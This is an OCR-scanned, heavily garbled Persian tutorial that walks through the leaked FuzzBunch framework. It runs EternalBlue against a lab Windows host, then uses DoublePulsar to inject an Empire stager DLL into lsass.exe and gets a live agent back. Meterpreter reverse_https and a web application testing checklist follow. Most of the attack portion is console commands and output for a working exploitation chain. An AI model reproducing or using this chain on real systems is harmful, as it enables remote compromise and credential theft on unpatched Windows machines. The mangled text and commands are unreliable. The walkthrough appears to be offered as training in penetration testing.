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] addplugins(fbk, "Paylcad”, PAYLOAD DIR, EDFPlugin)
) addplugins(fb, "Touch”, TOUCH DIR, EDFPFlugin)
1 addplugins(fb, "ImplantConfig"”, IMPLANT_DIR, EDEPlugin)
72 #addpluging (€, "ListeningPost"”, LP DIR, EDFPlugin)
73 addplugins(fb, "Special”, SPECIAL DIR, DAVEPlugin, DeployakleManager)
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<t:parameter name="ResourcesDir"

d ription="Absolute path of the Resources Directory"

"String"

default="C: \NSA\Leak\shadoybroker-master\windows\Resources"/>

<t:parameter name="LogDir"
lescription="Absolute path of an Initial Log Directory"”
type="String"

default="cC: \NSA\Leak\shadowbroker-master\windows\Logs"/>

Lkl g s 3T s Y S

Q0 aeles 1) 185 5 100 |l axans PYthon fh.py ol ,8 lawes FUzZBUNCh sose ol 2! b o

\Documents and Settings\Sheilarcd C:\WSA\Leak\shadowbroker-master\ywindows

C:\HSAM\LeakM\shadowbroker-master\windows>python fb.py

[ Version 3.5.1

FUZZBUNCH oJl ¢l 2! s 5a5 ¥ S
u,u)oT ‘_A.:_‘a y)L....u )O 45 ..\.:Lo.a < (5’1")3 ‘5.4—‘ u,u)dj » ‘SA_A-Q 6"5’“” FUZZBUI’]Ch Lg)l"“‘ obl.oi )‘ o=
[=] Retargetting Session

Default Target IP Addre

Default Callback IP Addre

Use Redirection [ves] : no

S 5 oS e o (T glo o oT (i F S

ool bl LB 5l o3en Lo Jle oleie 4 ayled oo 055, pb culgs o 1581 o5 enter o s Lis L

Lled oo 5k 0,90 o J1 oloul 4y pladl [Sog & g0 LI585
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FuzzBunch Jley 59, (olpl 05 salss cwl EthernalBlue o5 jLas o g0 o glnST Clesl Jol pad
oeles o0 )15 1, Use EternalBlue L 3

‘b » use EternalBlue

Entering Plugin Context :: Eternalblue
Applying Global Variables
Set Networklimeout =

Set TargetIp => 192.168.1.109

Applying Session Parameters
Running Exploit Touche

Enter Prompt Mode :: Eternalblue

Module: Eternalblue

Networkl imeout

VerifuBac
MaxExploi
GroomAl locations
Target WIN72K8R2

3

EternalBlue <, jL.sT Ol & S
PR U JEl el e 08 G Sleas el I eolatul Lol ol o
oS oo dalol landats 4V a5 5l eolawl L FuzzBunch 51 (DARINGNEOPYTE)
Preparing to Execute Eternalblue
[#]1 HMode :: Delivery mechanism

=) DAME Forward deplovment via DARINGHNEOPHYTE

1) FB Traditional deplovment from within FUZZBUNCH

Mode [B] : 1
[+] Run Mode: FB

JUist p 586 Slsst ¥ S

P28 wales | (e 2l jemme Lol Il Lol o
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- exploitation.

e on.
indicated by SHB reply

C G 6D 13

‘ree hole adjacent to SMBv? buffer.

l. uccessfully (0 SLISTS MR R

h-bit)

[+] rtﬁrnullluﬂ_butrﬂﬁded

EternalBlue i ¢l > A Ko

Aol Eternalblue Succeeded sly sals wb og, (i Jly) Gub o ded a5 550 4o

J38las DLL Js6 udgi —Y-Y

elasl DoublePulsar |f5 5l solawl b a5 o ,ls (Payload) oo o L DLL L1 G a4 5o al>ye ol yo

ples o0 B2y @
(Listener) cuigus adgi ¢ Jol pud —V-Y-Y
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(Empire: listeners
ire: listeners
ire: listeners
(Empire: listeners : .
[*] Listener 'Eternal' successfully started.

ire: listeners Li

[*] Active listeners:

Listeners
Listener Jys & S

Cawle LINUX 5gu0lS HOSE ol )b ol ascisls ol &

33l DLL s udgs —Y-¥-Y

s Y ases SBLArCh X64 Lo s lawss g psles oo DLL L 05 o sladl usestager ; oolaw! b

ool X32 el ly 5l el 3 08 ooliil i YV ased V je0is 5l a5 (h50 p0 meiS e Sbml 1) 15

=

80,5

listeners
stager/d1l1l
ger/d1]

Stager output written out to: /tmp/launcher.dll

stager/d11 |

S DLL 6 slewl ol e IS
Gl 00 as-Lo Launcher.dll ob b a5 tmp asg 0 sais adgs DLLl58000 asens (el yd sl 5l

oS oo e 00usS e XP 5909 4,
DoublePulsar Lusgs o5¢d1 DLL Js6 5,5 -¥-Y

DoublePulsar s> a4 pladl g0l lawg sansS ales XP 5904 cpile 40 ctS50 b

ol o FuzzBunch Jlowy s,
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fb Special (Eternalblue) > use DoublePulsar

Entering Plugin Context :: Doublepulsar
Applving G 1 Vari 5

Set

t

o Networkli
largetlp => Y 1.109

Applving Session Parameters
Enter Prompt Mode :: Doublepulsar

Module: Doublepulsar

Name

NetworkTimeout

largetlp .168.1.109
largetPort
OutputFile
Protocol
Architecture s
Function Outputlnstall

DoublePulsar L s 5,5 ¢l 1)) S
23 oo daldl 530l 4 o, B 5,8 oo sla el )l 5l eolaiul b loase

Architecture :: Architecture of the target 05

12-bits
bh-hits

Architecture (@] |
+] Set Architecture =» whb

=] Function :: Operation for backdoor to perform
=) Dutputlnstall Only output the install shellcode to a binary file on d
1) Ping 351 For presence of backdoor
1 : st a UL into a user mode process
III'|':“'i|'|I='| | code

&) Uninstall

Function (@] ; 2
Set Function => RunDLI

DI11Payload :: DLL to inject into user mode

launcher .dll
launcher.d. .. {plu

Dl10rdinal ::; The exported ordinal number of the DLL being injected to call

D110rdinal [1]1 : 1
ProcessHame :: Name of process to inject into
ProcessName [lsass. exel

ProcessCommandLine :: Command line of process to inject into

CommandLine []
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Preparing to Execute Doublepulsar
=] Redirection OFF
Configure Plugin Local Tunnels
l Tunnel tunnel
ination 1P .1.189]

ination
') Local

sh\launcher .d

Archi .t. ecture

Function RunDLL

Execute Plugin? [Yesl
DoublePulsar g ¢l o1 sls zel b AY s

Sl ) amio vald b wdl ead QB Cew ) oz den S
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B [64-bit] - HOR Key: O

sional 7600

inject DLL
returne: ] S
returned oo
returne
returne
returne

returne
raturne
returned
returned
returnec
returned
returr
returne
returne
returne
returne
returne
returned
returne
returne
returne
returne
returne
returned
returne
returne
raturne
returned
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[+] Inmitial agent ITWEHGHHWZHLSSVE from 192, 168.1. 109 now actiwve

SUS 5l b Bl 15 b0 S
S Fsaels 531 Slob ggi o sl Cll g ol 185 Sl SbE L Lt Ll als e ol 53 el

edle dunles

Meterpreter ;! oolasu! —0-Y
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sl oy sl asles eolanwl Solw & Meterpreter ool 5,5 sl Listener

Sales oolawl 5 g, 5l ausly o Meterpreter

Meterpreter cwiguls eubisi —V-0-Y

Meterpreter o ss 5l oslizal V& S
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Swles ool "windows/meterpreter/reverse_httpS*
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Spiders, Robots and Crawlers

Search Engine Discovery/Reconnaissance =
Identify application entry points =

Testing for Web Application Fingerprint =
Application Discovery =

Analysis of Error Codes =

GV S S e (yge5] O
SSL/TLS Testing =
DB Listener Testing =

Infrastructure Configuration Management Testing =
Application Configuration Management Testing =
Testing for File extensions Handling =

Old, backup and unreferenced files =

Infrastructure and Application Admin Interfaces =
Testing for HTTP Methods and XST =

Sugo 5>l el O

Credentials transport over an encrypted channel =

Testing for user enumeration =

Testing for Default or Guessable User Account =

Testing for Brute Force =

Testing for bypassing authentication schema =

Testing for Vulnerable Remember Password and Pwd Reset =
Testing for Logout and Browser Cache Management =
Testing for Captcha =

Testing Multiple Factors Authentication =

Testing for Race Conditions =

! Methodology
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Testing for Session Management Schema
Testing for Cookies attributes

Testing for Session Fixation

Testing for Exposed Session Variables
Cross-Site Request Forgery
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Testing for Path Traversal
Testing for Bypassing Authorization Schema
Testing for Privilege escalation

s sols miw Jlel fygejl O

Testing for Reflected Cross Site Scripting
Testing for Stored Cross site scripting
Testing for DOM based Cross Site Scripting
Testing for Cross Site Flashing

Testing for SQL Injection

Testing for LDAP Injection

w9 29 (905! O

WS Information Gathering

Testing WSDL

Testing for XML Structural

Testing for XML Content-Level

Testing for WS HTTP GET parameters/REST attacks
Testing for Naughty SOAP Attachments

Testing for WS Replay
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